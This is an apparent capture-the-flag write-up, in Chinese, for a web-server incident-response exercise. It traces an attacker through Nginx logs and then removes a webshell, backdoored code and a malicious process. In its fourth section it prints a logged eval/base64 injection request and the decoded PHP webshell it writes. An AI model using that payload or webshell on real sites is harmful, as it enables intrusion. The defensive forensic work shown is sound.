AI摘要:本文记录了一次网络安全事件应急响应过程。通过分析Nginx访问日志,发现攻击者IP、使用的目录扫描工具DirBuster以及首次攻击成功时间。进一步排查发现攻击者写入的Webshell、隐藏在正常Web应用中的恶意代码、恶意进程及其C2服务器。最后,修复了网站漏洞,清除了所有恶意程序、文件和代码,完成了应急响应。

BugKu PAR 网络安全事件应急响应

一、提交攻击者的IP地址

统计nginx日志中各个ip访问的次数

root@bugku:/var/log/nginx# awk '{print $1}' access.log | sort | uniq -c | sort -nr
  15357 38.207.130.14
     16 112.19.25.194
      2 212.70.149.142
      2 149.50.96.22
      1 198.235.24.139
      1 192.241.229.42
      1 185.196.9.102
      1 141.98.11.60
      1 141.98.11.52

结合题目知道38.207.130.14为攻击者ip

二、提交攻击者目录扫描所使用的工具名称

grep '38.207.130.14' access.log

发现大量uaDirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)的日志

所以使用的工具为DirBuster

三、提交攻击者首次攻击成功的时间

审查日志找到时间戳[03/Nov/2023:15:01:13 +0800]

QQ截图20240303143236

故攻击成功时间为03/11/2023:15:03:35

四、找到攻击者写入的恶意后门文件

得到日志

38.207.130.14 - - [03/Nov/2023:15:03:35 +0800] "POST /search.php?eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1" 200 4527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36"

参数解码得到

file_put_contents('a.php','<?php eval($_POST[1]); ?>');

所以写入shell路径为

/var/www/html/a.php

五、找到攻击者写入的恶意后门文件密码

如上,得到的密码为1

六、找到攻击者隐藏在正常web应用代码中的恶意代码

没别的办法,一个个看最终找到/var/www/html/include/webscan/360webscan.php

QQ截图20240303150507

七、识别系统中存在的恶意程序进程

查看进程找到可疑进程/var/crash/php-fpm

QQ截图20240303150636

八、识别系统中存在的恶意程序进程

运行php-fpm并使用netstat -anutp得到38.95.101.254:443

九、修复网站漏洞

打开首页发现使用的海洋CMS 搜索资料得到修改/var/www/html/include/main.class.php文件里面的parseIf方法,在数组后面加入一个成员_SERVER

QQ截图20240303152835

十、删除恶意程序、文件、代码

  1. 删除上面/var/www/html/include/webscan/360webscan.php中找到的恶意代码
  2. 删除webshell文件/var/www/html/a.php
  3. 删除恶意程序/var/crash/php-fpm
  4. 删除定时任务crontab -e -u www-data